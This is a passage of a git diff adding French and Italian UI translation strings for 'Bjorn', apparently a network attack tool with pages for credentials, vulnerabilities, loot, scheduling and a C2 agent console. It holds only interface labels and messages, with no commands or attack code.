ligne", + "netkb.offline": "Hors ligne", + "netkb.openPorts": "Ports ouverts", + "netkb.noHosts": "Aucun hôte trouvé", + "network.title": "Visualisation réseau", + "network.tableView": "Tableau", + "network.mapView": "Carte", + "network.hostname": "Nom d'hôte", + "network.ip": "Adresse IP", + "network.mac": "MAC", + "network.ports": "Ports", + "network.status": "Statut", + "network.searchPlaceholder": "Rechercher des hôtes...", + "network.noData": "Aucune donnée réseau", + "creds.title": "Identifiants", + "creds.total": "Total", + "creds.unique": "Uniques", + "creds.types": "Types", + "creds.username": "Nom d'utilisateur", + "creds.password": "Mot de passe", + "creds.service": "Service", + "creds.host": "Hôte", + "creds.port": "Port", + "creds.type": "Type", + "creds.timestamp": "Horodatage", + "creds.showPassword": "Afficher le mot de passe", + "creds.hidePassword": "Masquer le mot de passe", + "creds.copyPassword": "Copier", + "creds.exportAll": "Tout exporter", + "creds.noCredentials": "Aucun identifiant trouvé", + "vulns.title": "Tableau des vulnérabilités", + "vulns.total": "Total", + "vulns.critical": "Critique", + "vulns.high": "Élevé", + "vulns.medium": "Moyen", + "vulns.low": "Faible", + "vulns.infoLevel": "Info", + "vulns.host": "Hôte", + "vulns.port": "Port", + "vulns.service": "Service", + "vulns.severity": "Sévérité", + "vulns.description": "Description", + "vulns.cve": "CVE", + "vulns.scanDate": "Date de scan", + "vulns.details": "Détails", + "vulns.noVulns": "Aucune vulnérabilité trouvée", + "vulns.byHost": "Par hôte", + "vulns.bySeverity": "Par sévérité", + "vulns.byService": "Par service", + "attacks.title": "Gestionnaire d'attaques", + "attacks.running": "En cours", + "attacks.completed": "Terminé", + "attacks.failed": "Échoué", + "attacks.queued": "En attente", + "attacks.start": "Démarrer", + "attacks.stop": "Arrêter", + "attacks.restart": "Redémarrer", + "attacks.status": "Statut", + "attacks.target": "Cible", + "attacks.action": "Action", + "attacks.duration": "Durée", + "attacks.progress": "Progression", + "attacks.noAttacks": "Aucune attaque en cours", + "sched.title": "Planificateur d'actions", + "sched.pending": "En attente", + "sched.running": "En cours", + "sched.done": "Terminé", + "sched.failed": "Échoué", + "sched.all": "Tout", + "sched.searchPlaceholder": "Rechercher des tâches...", + "sched.noTasks": "Aucune tâche trouvée", + "sched.stats": "{{running}} en cours / {{pending}} en attente / {{done}} terminées", + "db.title": "Gestionnaire de base de données", + "db.tables": "Tables", + "db.rows": "Lignes", + "db.columns": "Colonnes", + "db.search": "Rechercher des tables...", + "db.searchRows": "Rechercher des lignes...", + "db.export": "Exporter", + "db.import": "Importer", + "db.addRow": "Ajouter une ligne", + "db.deleteRow": "Supprimer la ligne", + "db.deleteSelected": "Supprimer la sélection", + "db.saveChanges": "Enregistrer", + "db.discardChanges": "Annuler", + "db.confirmDelete": "Confirmer la suppression ?", + "db.noTables": "Aucune table trouvée", + "db.noData": "Aucune donnée dans cette table", + "db.hide": "Masquer", + "db.showSidebar": "Afficher le panneau", + "files.title": "Explorateur de fichiers", + "files.gridView": "Grille", + "files.listView": "Liste", + "files.size": "Taille", + "files.modified": "Modifié", + "files.name": "Nom", + "files.type": "Type", + "files.download": "Télécharger", + "files.preview": "Aperçu", + "files.noFiles": "Aucun fichier trouvé", + "files.parentDir": "Répertoire parent", + "files.searchPlaceholder": "Rechercher des fichiers...", + "loot.title": "Butin", + "loot.directories": "Répertoires", + "loot.totalFiles": "Total fichiers", + "loot.totalSize": "Taille totale", + "loot.download": "Télécharger", + "loot.downloadAll": "Tout télécharger", + "loot.noLoot": "Aucun butin trouvé", + "loot.explore": "Explorer", + "actions.title": "Gestionnaire d'actions", + "actions.available": "Disponibles", + "actions.enabled": "Activées", + "actions.disabled": "Désactivées", + "actions.category": "Catégorie", + "actions.enableAll": "Tout activer", + "actions.disableAll": "Tout désactiver", + "actions.import": "Importer", + "actions.export": "Exporter", + "actions.noActions": "Aucune action trouvée", + "actions.description": "Description", + "actions.menu.restartService": "Redémarrer le service Bjorn", + "actions.menu.deleteActionStatus": "Supprimer tous les statuts d'actions", + "actions.menu.clearOutput": "Vider le dossier Output", + "actions.menu.clearLogs": "Effacer les logs", + "actions.menu.reloadImages": "Recharger les images (expérimental)", + "actions.menu.reloadFonts": "Recharger les polices", + "actions.menu.reloadActionsJson": "Recharger le JSON des actions", + "actions.menu.initializeCsv": "Initialiser les fichiers CSV", + "actions.menu.clearLivestatus": "Supprimer le fichier Livestatus", + "actions.menu.refreshActionsFile": "Rafraîchir le fichier Actions", + "actions.menu.clearNetkb": "Vider la base de connaissances réseau", + "actions.menu.clearSharedConfig": "Supprimer le JSON de configuration partagée", + "actions.menu.eraseMemories": "Effacer la mémoire de Bjorn", + "actions.menu.reboot": "Redémarrer le système", + "actions.menu.shutdown": "Éteindre le système", + "actions.tip.restartService": "Redémarre le service Bjorn pour rafraîchir son état.", + "actions.tip.deleteActionStatus": "Supprime tous les statuts de succès et d'échec des actions/attaques dans netkb.csv.", + "actions.tip.clearOutput": "Efface tous les fichiers des dossiers output et sous-dossiers.", + "actions.tip.clearLogs": "Supprime tous les fichiers de logs du système.", + "actions.tip.reloadImages": "Recharge les images utilisées par le système.", + "actions.tip.reloadFonts": "Recharge les polices de l'application.", + "actions.tip.reloadActionsJson": "Recharge le fichier JSON des actions générées.", + "actions.tip.initializeCsv": "Recrée les fichiers CSV et JSON.", + "actions.tip.clearLivestatus": "Supprime le fichier de statut en direct.", + "actions.tip.refreshActionsFile": "Rafraîchit le fichier des actions pour prendre en compte les nouvelles actions.", + "actions.tip.clearNetkb": "Supprime toutes les informations enregistrées dans la base de connaissances réseau.", + "actions.tip.clearSharedConfig": "Supprime le fichier JSON de configuration partagée.", + "actions.tip.eraseMemories": "Efface complètement la mémoire et les paramètres de Bjorn.", + "actions.tip.reboot": "Redémarre tout le système.", + "actions.tip.shutdown": "Éteint complètement le système.", + "actions.confirm.restartRecommended": "Le redémarrage du service est recommandé. Redémarrer maintenant ?", + "actions.confirm.restartService": "Redémarrer le service Bjorn ?", + "actions.confirm.deleteActionStatus": "Supprimer tous les statuts d'actions enregistrés ?", + "actions.confirm.clearOutput": "Vider entièrement le dossier output ?", + "actions.confirm.clearLogs": "Supprimer tous les fichiers de logs ?", + "actions.confirm.clearNetkb": "Vider la base de connaissances réseau ? Cette action est irréversible.", + "actions.confirm.clearLivestatus": "Supprimer le fichier livestatus ?", + "actions.confirm.refreshActionsFile": "Rafraîchir le fichier actions ?", + "actions.confirm.clearSharedConfig": "Supprimer le JSON de configuration partagée ? Cette action est irréversible.", + "actions.confirm.eraseMemories": "Effacer toute la mémoire et les paramètres de Bjorn ? Cette action est irréversible.", + "actions.confirm.reboot": "Redémarrer tout le système ?", + "actions.confirm.shutdown": "Éteindre le système ?", + "actions.msg.restartingService": "Le service Bjorn redémarre...", + "actions.msg.restartFailed": "Échec du redémarrage du service", + "actions.msg.actionStatusDeleted": "Tous les statuts d'actions ont été supprimés.", + "actions.msg.outputCleared": "Le dossier output a été vidé.", + "actions.msg.logsCleared": "Les logs ont été effacés.", + "actions.msg.netkbCleared": "La base de connaissances réseau a été vidée.", + "actions.msg.livestatusDeleted": "Le fichier livestatus a été supprimé.", + "actions.msg.actionsFileRefreshed": "Le fichier actions a été rafraîchi.", + "actions.msg.sharedConfigDeleted": "Le JSON de configuration partagée a été supprimé.", + "actions.msg.memoriesErased": "La mémoire de Bjorn a été effacée.", + "actions.msg.rebooting": "Le système redémarre...", + "actions.msg.shuttingDown": "Le système s'éteint...", + "actions.msg.csvInitialized": "Les fichiers CSV ont été initialisés.", + "actions.msg.actionsJsonReloaded": "Le JSON des actions a été rechargé.", + "actions.msg.imagesReloaded": "Les images ont été rechargées.", + "actions.msg.fontsReloaded": "Les polices ont été rechargées.", + "actions.msg.unknownAction": "Action inconnue", + "actions.msg.actionFailed": "Échec de l'action", + "studio.title": "Studio Actions", + "studio.palette": "Palette", + "studio.canvas": "Canevas", + "studio.inspector": "Inspecteur", + "studio.actionsTab": "Actions", + "studio.hostsTab": "Hôtes", + "studio.globalTab": "Global", + "studio.save": "Enregistrer", + "studio.load": "Charger", + "studio.run": "Exécuter", + "studio.clear": "Effacer", + "studio.addNode": "Ajouter un nœud", + "studio.removeNode": "Supprimer le nœud", + "studio.search": "Rechercher des actions...", + "backup.title": "Sauvegarde & MAJ", + "backup.backupRestore": "Sauvegarde / Restauration", + "backup.update": "Mise à jour", + "backup.createBackup": "Créer une sauvegarde", + "backup.restoreBackup": "Restaurer", + "backup.downloadBackup": "Télécharger", + "backup.deleteBackup": "Supprimer la sauvegarde", + "backup.lastBackup": "Dernière sauvegarde", + "backup.checkUpdates": "Vérifier les mises à jour", + "backup.installUpdate": "Installer la mise à jour", + "backup.currentVersion": "Version actuelle", + "backup.latestVersion": "Dernière version", + "backup.upToDate": "À jour", + "backup.updateAvailable": "Mise à jour disponible", + "backup.clearLogs": "Effacer les logs", + "backup.noBackups": "Aucune sauvegarde trouvée", + "backup.restoring": "Restauration...", + "backup.creating": "Création de la sauvegarde...", + "webenum.title": "Énumération Web", + "webenum.totalResults": "Total résultats", + "webenum.uniqueHosts": "Hôtes uniques", + "webenum.successCount": "Succès (2xx)", + "webenum.errorCount": "Erreurs (4xx/5xx)", + "webenum.host": "Hôte", + "webenum.ip": "IP", + "webenum.port": "Port", + "webenum.directory": "Répertoire", + "webenum.status": "Statut", + "webenum.size": "Taille", + "webenum.scanDate": "Date de scan", + "webenum.link": "Lien", + "webenum.exportJson": "Exporter JSON", + "webenum.exportCsv": "Exporter CSV", + "webenum.noResults": "Aucun résultat trouvé", + "webenum.details": "Détails du résultat", + "webenum.openUrl": "Ouvrir l'URL", + "webenum.copyUrl": "Copier l'URL", + "webenum.showing": "Affichage {{start}}-{{end}} sur {{total}} résultats", + "webenum.itemsPerPage": "Éléments par page", + "webenum.refreshData": "Rafraîchir les données", + "webenum.responseTime": "Temps de réponse", + "webenum.contentType": "Type de contenu", + "webenum.fullUrl": "URL complète", + "zombie.title": "Zombieland C2C", + "zombie.agents": "Agents", + "zombie.terminal": "Terminal", + "zombie.commands": "Commandes", + "zombie.totalAgents": "Total agents", + "zombie.onlineAgents": "En ligne", + "zombie.offlineAgents": "Hors ligne", + "zombie.idleAgents": "Inactif", + "zombie.sendCommand": "Envoyer la commande", + "zombie.broadcast": "Diffusion", + "zombie.selectAgent": "Sélectionner un agent", + "zombie.os": "OS", + "zombie.lastSeen": "Dernière vue", + "zombie.status": "Statut", + "zombie.noAgents": "Aucun agent connecté", + "zombie.quickCommands": "Commandes rapides", + "zombie.files": "Fichiers", + "quick.autoScan": "Auto-scan", + "quick.connectWifi": "Se connecter au WiFi", + "quick.knownNetworks": "Réseaux connus", + "quick.importPotfiles": "Importer Potfiles", + "quick.subtitle": "WiFi & Bluetooth", + "quick.pair": "Appairer", + "quick.trust": "Faire confiance", + "quick.forgetDevice": "Oublier l'appareil", + "quick.forgetDevicePrompt": "Oublier {{name}} ?", + "quick.forgetNetworkPrompt": "Êtes-vous sûr de vouloir oublier ce réseau ?", + "bjorn.title": "Écran EPD Bjorn", + "bjorn.epdScreen": "Écran e-Paper", + "bjorn.refreshInterval": "Intervalle de rafraîchissement", + "bjorn.autoRefresh": "Rafraîchissement auto", + "bjorn.manualRefresh": "Rafraîchir maintenant", + "bjorn.seconds": "secondes", + "common.search": "Rechercher", + "common.filter": "Filtrer", + "common.refresh": "Actualiser", + "common.save": "Enregistrer", + "common.cancel": "Annuler", + "common.delete": "Supprimer", + "common.edit": "Modifier", + "common.close": "Fermer", + "common.loading": "Chargement...", + "common.noData": "Aucune donnée disponible", + "common.error": "Erreur", + "common.success": "Succès", + "common.confirm": "Confirmer", + "common.yes": "Oui", + "common.no": "Non", + "common.export": "Exporter", + "common.import": "Importer", + "common.download": "Télécharger", + "common.upload": "Téléverser", + "common.copy": "Copier", + "common.start": "Démarrer", + "common.stop": "Arrêter", + "common.restart": "Redémarrer", + "common.status": "Statut", + "common.name": "Nom", + "common.value": "Valeur", + "common.type": "Type", + "common.host": "Hôte", + "common.port": "Port", + "common.target": "Cible", + "common.date": "Date", + "common.time": "Heure", + "common.size": "Taille", + "common.actions": "Actions", + "common.details": "Détails", + "common.back": "Retour", + "common.next": "Suivant", + "common.previous": "Précédent", + "common.first": "Premier", + "common.last": "Dernier", + "common.all": "Tout", + "common.none": "Aucun", + "common.showing": "Affichage", + "common.of": "sur", + "common.results": "résultats", + "common.items": "éléments", + "common.page": "Page", + "common.perPage": "par page", + "common.sortBy": "Trier par", + "common.ascending": "Croissant", + "common.descending": "Décroissant", + "common.view": "Vue", + "common.table": "Tableau", + "common.grid": "Grille", + "common.list": "Liste", + "common.map": "Carte", + "common.enabled": "Activé", + "common.disabled": "Désactivé", + "common.on": "Activé", + "common.off": "Désactivé", + "common.version": "Version", + "common.hide": "Masquer", + "common.show": "Afficher", + "common.add": "Ajouter", + "common.remove": "Supprimer", + "common.clear": "Effacer", + "common.reset": "Réinitialiser", + "common.apply": "Appliquer", + "common.run": "Exécuter", + "common.send": "Envoyer", + "common.connect": "Connecter", + "common.disconnect": "Déconnecter", + "common.selectAll": "Tout sélectionner", + "common.deselectAll": "Tout désélectionner", + "common.copied": "Copié !", + "common.notFound": "Non trouvé", + "backup.checkUpdatesHint": "Cliquez sur \"Vérifier les mises à jour\" pour afficher les versions.", + "backup.checkingUpdates": "Vérification des mises à jour...", + "backup.confirmFreshStart": "Confirmer le Fresh Start ? ", + "backup.createdSuccessfully": "Sauvegarde créée avec succès.", + "backup.defaultUpdated": "Sauvegarde par défaut mise à jour.", + "backup.deleted": "Sauvegarde supprimée.", + "backup.descriptionPlaceholder": "Description de la sauvegarde...", + "backup.enterDescription": "Veuillez saisir une description de sauvegarde.", + "backup.failedCheckUpdates": "Échec de la vérification des mises à jour", + "backup.failedCreate": "Échec de création de la sauvegarde", + "backup.failedDelete": "Échec de suppression de la sauvegarde", + "backup.failedLoadBackups": "Échec du chargement des sauvegardes", + "backup.failedSetDefault": "Échec de définition par défaut", + "backup.freshStart": "Réinitialisation complète", + "backup.freshStartFailed": "Échec de la réinitialisation complète", + "backup.freshStartInitiated": "Réinitialisation complète lancée.", + "backup.github": "github", + "backup.keepActions": "Conserver le dossier actions", + "backup.keepConfig": "Conserver le dossier config", + "backup.keepData": "Conserver le dossier data", + "backup.keepResources": "Conserver le dossier resources", + "backup.noBackupsCreateAbove": "Aucune sauvegarde trouvée. Créez-en une ci-dessus.", + "backup.restoreCompleted": "Restauration terminée.", + "backup.restoreOptions": "Options de restauration", + "backup.restorePoint": "point-de-restauration", + "backup.selectKeepFolders": "Sélectionnez les dossiers à conserver pendant l'opération :", + "backup.setDefault": "Définir par défaut", + "backup.unnamedBackup": "Sauvegarde sans nom", + "backup.updateInitiated": "Mise à jour lancée.", + "backup.updateOptions": "Options de mise à jour", + "common.confirmDiscardUnsaved": "Ignorer les modifications non enregistrées ?", + "common.confirmQuestion": "Confirmer ?", + "common.default": "par défaut", + "common.deleteFailed": "Échec de suppression", + "common.deleted": "Supprimé", + "common.description": "Description", + "common.directory": "répertoire", + "common.duplicate": "Dupliquer", + "common.exportJson": "Exporter JSON", + "common.failed": "échec", + "common.file": "fichier", + "common.importJson": "Importer JSON", + "common.new": "Nouveau", + "common.noMatches": "Aucun résultat", + "common.options": "Options", + "common.processingPleaseWait": "Traitement en cours, veuillez patienter...", + "common.refreshed": "Actualisé", + "common.rename": "Renommer", + "common.saving": "Enregistrement...", + "common.unknown": "inconnu", + "common.unsavedChanges": "Modifications non enregistrées", + "db.autoRefresh": "Rafraîchissement auto", + "db.changesDiscarded": "Modifications annulées", + "db.changesSaved": "Modifications enregistrées", + "db.confirmDrop": "SUPPRIMER \"{{table}}\" ? Cette action est irréversible !", + "db.confirmTruncate": "Vider toutes les lignes de \"{{table}}\" ?", + "db.dangerZone": "Zone de danger", + "db.deletingRowsCount": "Suppression de {{count}} ligne(s)...", + "db.dropFailed": "Échec de suppression de la table", + "db.droppedTable": "Table {{table}} supprimée", + "db.dropping": "Suppression...", + "db.emptyTable": "Table vide", + "db.errorLoadingData": "Erreur lors du chargement des données", + "db.failedLoadCatalog": "Échec du chargement du catalogue", + "db.failedLoadTable": "Échec du chargement de la table", + "db.filterTables": "Filtrer les tables...", + "db.insertFailed": "Échec de l'insertion", + "db.insertingRow": "Insertion de la ligne...", + "db.noRowsSelected": "Aucune ligne sélectionnée", + "db.rowInserted": "Ligne insérée", + "db.rowsDeleted": "Lignes supprimées", + "db.runningVacuum": "Exécution de VACUUM...", + "db.saveFailed": "Échec de l'enregistrement", + "db.selectTableFromSidebar": "Sélectionnez une table dans la barre latérale", + "db.tableDropped": "Table supprimée", + "db.tableTruncated": "Table vidée", + "db.truncateFailed": "Échec du vidage", + "db.truncating": "Vidage...", + "db.vacuumComplete": "VACUUM terminé", + "db.vacuumDone": "VACUUM effectué", + "db.vacuumFailed": "Échec de VACUUM", + "files.confirmDelete": "Supprimer {{label}} \"{{name}}\" ?", + "files.downloadFile": "Télécharger le fichier", + "files.duplicateFailed": "Échec de la duplication", + "files.duplicated": "Dupliqué", + "files.emptyDirectory": "Répertoire vide", + "files.errorLoading": "Erreur lors du chargement des fichiers", + "files.failedLoadDir": "Échec du chargement du répertoire", + "files.filterPlaceholder": "Filtrer les fichiers...", + "files.itemsCount": "{{count}} élément(s)", + "files.newNamePrompt": "Nouveau nom :", + "files.noMatch": "Aucun fichier correspondant", + "files.openDirectory": "Ouvrir le répertoire", + "files.parent": ".. (parent)", + "files.renameFailed": "Échec du renommage", + "files.renamed": "Renommé", + "files.root": "Racine", + "files.uploadComplete": "Téléversement terminé", + "files.uploadFailed": "L'envoi a échoué", + "files.uploadingCount": "Envoi de {{count}} fichier(s)...", + "studio.actionNotFound": "Action non trouvée", + "studio.classNameRequired": "Le nom de la classe est requis", + "studio.confirmDeleteAction": "Supprimer l'action \"{{name}}\" ? Cette action est irréversible.", + "studio.deletedName": "Supprimé : {{name}}", + "studio.exportedFile": "Exporté : {{name}}", + "studio.filterActions": "Filtrer les actions...", + "studio.importFailed": "L'importation a échoué", + "studio.importedFile": "Importé : {{name}}", + "studio.loadFailed": "Le chargement a échoué", + "studio.loadedFromCacheName": "Chargé depuis le cache : {{name}}", + "studio.loadedName": "Chargé : {{name}}", + "studio.newActionCreated": "Nouvelle action créée", + "studio.noActionLoaded": "Aucune action chargée", + "studio.saveFailedBackedUp": "Échec de l'enregistrement (sauvegarde locale effectuée)", + "studio.savedName": "Enregistré : {{name}}", + "studio.setClassBeforeExport": "Définissez une classe avant l'exportation", + "zombie.agentRemoved": "Agent {{name}} supprimé", + "zombie.agentsPurged": "{{count}} agent(s) purgés", + "zombie.allAgents": "Tous les agents", + "zombie.c2StartedOnPort": "Serveur C2 démarré sur le port {{port}}", + "zombie.c2Stopped": "Serveur C2 arrêté", + "zombie.clearConsole": "Effacer la console", + "zombie.clearLogs": "Effacer les logs", + "zombie.commandBroadcasted": "Commande diffusée", + "zombie.commandSentToAgents": "Commande envoyée à {{count}} agent(s)", + "zombie.confirmPurgeStale": "Purger tous les agents inactifs depuis plus de 24 heures ?", + "zombie.confirmRemoveAgent": "Supprimer l'agent {{name}} ?", + "zombie.confirmStopC2": "Arrêter le serveur C2 ?", + "zombie.consoleCleared": "Console effacée", + "zombie.enterC2Port": "Entrez le port C2 :", + "zombie.enterCommand": "Entrez la commande...", + "zombie.failedPurgeStale": "Échec de la purge des agents inactifs", + "zombie.failedRemoveAgent": "Échec de la suppression de l'agent {{name}}", + "zombie.failedSendCommand": "Échec de l'envoi de la commande", + "zombie.failedStartC2": "Échec du démarrage du C2", + "zombie.failedStopC2": "Échec de l'arrêt du C2", + "zombie.noAgentsConnected": "Aucun agent connecté", + "zombie.noAgentsMatchSearch": "Aucun agent ne correspond à votre recherche", + "zombie.purgeStale": "Purger inactifs", + "zombie.purgeStaleHint": "Purger les agents inactifs >24h", + "zombie.removeAgent": "Supprimer l'agent", + "zombie.startC2": "Démarrer C2", + "zombie.stopC2": "Arrêter C2", + "zombie.systemLogs": "Logs système", + "zombieland.alive": "Vivant", + "zombieland.c2Status": "Statut C2", + "zombieland.dead": "Mort", + "zombieland.totalAgents": "Total agents", + "greeting": "Bonjour", + "start": "Démarrer", + "tick": "Tick", + "common.ip": "IP", + "common.mac": "MAC", + "common.os": "OS", + "zombie.never": "Jamais", + "zombie.openInConsole": "Ouvrir dans la console", + "common.saved": "Enregistré", + "attacks.tabs.attacks": "Attaques", + "attacks.tabs.comments": "Commentaires", + "attacks.tabs.images": "Images", + "attacks.btn.addAttack": "Ajouter une attaque", + "attacks.btn.removeAttack": "Supprimer l'attaque", + "attacks.btn.deleteAction": "Supprimer l'action", + "attacks.btn.restoreDefaultsBundle": "Restaurer les valeurs par défaut", + "attacks.btn.addSection": "Ajouter une section", + "attacks.btn.deleteSection": "Supprimer la section", + "attacks.btn.restoreDefault": "Restaurer par défaut", + "attacks.btn.createCharacter": "Créer un personnage", + "attacks.btn.deleteCharacter": "Supprimer le personnage", + "attacks.section.characters": "Personnages", + "attacks.section.statusImages": "Images de statut", + "attacks.section.staticImages": "Images statiques", + "attacks.section.webImages": "Images web", + "attacks.section.actionIcons": "Icônes d'action", + "attacks.editor.selectAttack": "Sélectionner une attaque", + "attacks.empty.noAttacks": "Aucune attaque trouvée.", + "attacks.empty.noComments": "Aucun commentaire trouvé.", + "attacks.comments.placeholder": "Les commentaires seront affichés ici...", + "attacks.images.enterEditMode": "Activer le mode édition", + "attacks.images.exitEditMode": "Quitter le mode édition", + "attacks.images.sortName": "Tri : nom", + "attacks.images.sortDimensions": "Tri : dimensions", + "attacks.images.search": "Rechercher des images...", + "attacks.images.rename": "Renommer l'image", + "attacks.images.replace": "Remplacer l'image", + "attacks.images.resizeSelected": "Redimensionner la sélection", + "attacks.images.addCharacters": "Ajouter des images de personnage", + "attacks.images.deleteSelected": "Supprimer la sélection", + "attacks.images.addStatus": "Ajouter image statut", + "attacks.images.addStatic": "Ajouter image statique", + "attacks.images.addWeb": "Ajouter image web", + "attacks.images.addIcon": "Ajouter icône action", + "attacks.errors.loadAttacks": "Échec du chargement des attaques.", + "attacks.errors.loadImages": "Échec du chargement des images.", + "attacks.confirm.switchCharacter": "Basculer vers le personnage \"{{name}}\" ?", + "attacks.confirm.removeAttack": "Supprimer l'attaque \"{{name}}\" ?", + "attacks.confirm.deleteAction": "Supprimer l'action \"{{name}}\" ?", + "attacks.confirm.restoreAttack": "Restaurer \"{{name}}\" par défaut ?", + "attacks.confirm.restoreDefaultsBundle": "Restaurer TOUTES les valeurs par défaut (actions, images, commentaires) ?", + "attacks.confirm.deleteCharacter": "Supprimer le personnage \"{{name}}\" ?", + "attacks.confirm.deleteSection": "Supprimer la section \"{{name}}\" ?", + "attacks.confirm.restoreDefaultComments": "Restaurer les commentaires par défaut ?", + "attacks.confirm.deleteSelectedImages": "Supprimer les images sélectionnées ?", + "attacks.prompt.newCharacterName": "Nom du nouveau personnage :", + "attacks.prompt.characterToDelete": "Personnage à supprimer :", + "attacks.prompt.newSectionName": "Nom de la nouvelle section :", + "attacks.prompt.newImageName": "Nouveau nom :", + "attacks.prompt.resizeWidth": "Largeur de redimensionnement :", + "attacks.prompt.resizeHeight": "Hauteur de redimensionnement :", + "attacks.toast.characterSwitched": "Personnage changé", + "attacks.toast.attackImported": "Attaque importée", + "attacks.toast.selectAttackFirst": "Sélectionnez d'abord une attaque", + "attacks.toast.actionDeleted": "Action supprimée", + "attacks.toast.defaultsRestored": "Valeurs par défaut restaurées", + "attacks.toast.characterCreated": "Personnage créé", + "attacks.toast.noDeletableCharacters": "Aucun personnage supprimable", + "attacks.toast.characterDeleted": "Personnage supprimé", + "attacks.toast.commentsRestored": "Commentaires restaurés", + "attacks.toast.selectSectionFirst": "Sélectionnez d'abord une section", + "attacks.toast.commentsSaved": "Commentaires enregistrés", + "attacks.toast.selectExactlyOneImage": "Sélectionnez exactement une image", + "attacks.toast.selectAtLeastOneImage": "Sélectionnez au moins une image", + "attacks.toast.imagesResized": "Images redimensionnées", + "attacks.toast.characterImagesUploaded": "Images de personnage envoyées", + "attacks.toast.selectStatusActionFirst": "Sélectionnez d'abord une action de statut", + "actions.toast.presetApplied": "Préconfiguration appliquée", + "actions.toast.startingAction": "Démarrage de {{name}}...", + "actions.toast.actionStarted": "Action démarrée", + "actions.toast.stoppedByUser": "Arrêté par l'utilisateur", + "actions.toast.actionStopped": "Action arrêtée", + "actions.toast.stopFailed": "Échec de l'arrêt", + "actions.toast.failedToStop": "Impossible d'arrêter", + "actions.toast.consoleCleared": "Console vidée", + "actions.toast.noLogsToExport": "Aucun log à exporter", + "actions.toast.logsExported": "Logs exportés", + "netkb.confirmRemoveAction": "Supprimer l'action \"{{action}}\" pour l'IP \"{{ip}}\" ?", + "netkb.actionRemoved": "Action supprimée", + "actions.running": "En cours", + "attacks.btn.syncMissing": "Synchroniser les éléments manquants", + "attacks.images.gridDensity": "Densité de grille", + "attacks.images.density": "Densité", + "attacks.sync.defaultComment": "Ajouter un commentaire pour cette action", + "attacks.sync.none": "Aucune attaque à synchroniser.", + "attacks.sync.done": "Synchronisation terminée. Nouveaux commentaires : {{comments}}, images de statut : {{status}}, images de personnage : {{characters}}.", + "attacks.sync.failed": "Échec de la synchronisation des éléments manquants", + "actions.args.free": "Arguments libres", + "actions.args.none": "Aucun argument configurable", + "actions.args.subtitle": "Généré automatiquement depuis les définitions d'action", + "actions.args.title": "Arguments", + "actions.assign": "Assigner", + "actions.emptyPane": "Aucune action sélectionnée", + "actions.logs.completed": "Terminé", + "actions.logs.empty": "Aucun log pour le moment", + "actions.logs.waiting": "En attente...", + "actions.searchPlaceholder": "Rechercher des actions...", + "actions.tabs.actions": "Actions", + "actions.tabs.arguments": "Arguments", + "actions.toast.selectActionFirst": "Sélectionne d'abord une action", + "common.move": "Déplacer", + "common.ready": "Prêt", + "common.menu": "Menu", + "common.browse": "Parcourir...", + "common.platform": "Plateforme", + "common.generate": "Générer", + "common.vendor": "Fabricant", + "common.hostname": "Nom d'hôte", + "common.ports": "Ports", + "zombie.generateClient": "Générer le client", + "zombie.checkStale": "Vérifier agents inactifs", + "zombie.selectedAgents": "agents sélectionnés", + "zombie.clientId": "ID Client", + "zombie.labCreds": "Identifiants Lab", + "zombie.deployOptions": "Options de déploiement", + "zombie.deployViaSSH": "Déployer via SSH", + "zombie.fileBrowser": "Explorateur de fichiers", + "dash.lastUpdate": "Dernière mise à jour", + "netkb.searchPlaceholder": "Chercher hôte, IP, fabricant, port...", + "netkb.searchHint": "Astuce : tapez 'port:80' ou 'vendor:intel'", + "files.dropzoneHint": "Déposez les fichiers ici ou cliquez pour envoyer", + "files.moveToTitle": "Déplacer vers...", + "files.selectDestinationFolder": "Sélectionner le dossier de destination", + "attacks.sidebar.management": "Gestion", + "sched.upcoming": "À venir", + "sched.success": "Succès", + "sched.cancelled": "Annulé", + "sched.history": "Historique", + "sched.historyMsg": "Logs d'historique", + "creds.searchPlaceholder": "Chercher services, utilisateurs...", + "creds.uniqueHosts": "Hôtes uniques", + "creds.totalCredentials": "Total identifiants", + "console.maxReconnect": "Console : nombre maximal de tentatives de reconnexion atteint", + "console.scrollToBottom": "Défiler vers le bas", + "console.manual": "Manuel", + "console.auto": "Auto", + "console.turnOnAuto": "Activer le mode Auto", + "console.turnOnManual": "Activer le mode Manuel", + "console.noTarget": "Aucune cible", + "console.noAction": "Aucune action", + "console.scanStarted": "Scan manuel démarré", + "console.scanFailed": "Échec du scan manuel", + "console.attackStarted": "Attaque manuelle démarrée", + "console.attackFailed": "Échec de l'attaque manuelle", + "console.failedToggleMode": "Échec du changement de mode", + "console.reconnectAttempt": "Reconnexion (tentative {{count}})...", + "quick.close": "Fermer le panneau", + "quick.connectingTo": "Connexion à {{ssid}}...", + "quick.connectedTo": "Connecté à {{ssid}}", + "quick.connectionFailed": "Échec de la connexion", + "quick.loadKnownFailed": "Échec du chargement des réseaux connus", + "quick.priorityUpdated": "Priorité mise à jour", + "quick.priorityUpdateFailed": "Échec de la mise à jour de la priorité", + "quick.networkRemoved": "Réseau supprimé", + "quick.importingPotfiles": "Importation des potfiles...", + "quick.importedCount": "{{count}} identifiants importés", + "quick.btScanFailed": "Échec du scan Bluetooth", + "quick.btActioning": "{{action}} de {{name}}...", + "quick.btActionDone": "{{name}} {{action}}é", + "quick.btActionFailed": "Échec de {{action}}", + "quick.btForgotten": "{{name}} oublié", + "sidebar.close": "Fermer la barre latérale", + "api.aborted": "Abandonné", + "api.timeout": "La requête a expiré", + "api.failed": "La requête a échoué", + "router.notFound": "Page non trouvée : {{path}}", + "router.errorLoading": "Erreur lors du chargement de la page : {{message}}" +} \ No newline at end of file diff --git a/web/i18n/it.json b/web/i18n/it.json new file mode 100644 index 0000000..7e5690a --- /dev/null +++ b/web/i18n/it.json @@ -0,0 +1,781 @@ +{ + "nav.dashboard": "Cruscotto", + "nav.bjorn": "Bjorn", + "nav.netkb": "Base Rete", + "nav.network": "Rete", + "nav.credentials": "Credenziali", + "nav.vulnerabilities": "Vulnerabilità", + "nav.attacks": "Attacco", + "nav.scheduler": "Pianificatore", + "nav.database": "Database", + "nav.files": "File", + "nav.loot": "Bottino", + "nav.actions": "Azioni", + "nav.actionsStudio": "Studio Azioni", + "nav.backup": "Backup & Agg.", + "nav.webEnum": "Enum Web", + "nav.zombieland": "Zombieland", + "nav.settings": "Impostazioni", + "nav.shortcuts": "Scorciatoie", + "nav.pages": "Pagine", + "status.initializing": "Inizializzazione...", + "status.online": "In linea", + "status.offline": "Non in linea", + "console.title": "Console", + "console.clear": "Cancella", + "console.sseOn": "SSE Attivo", + "console.sseOff": "SSE Inattivo", + "console.newLogs": "{{count}} nuovi log", + "settings.theme": "Tema", + "settings.language": 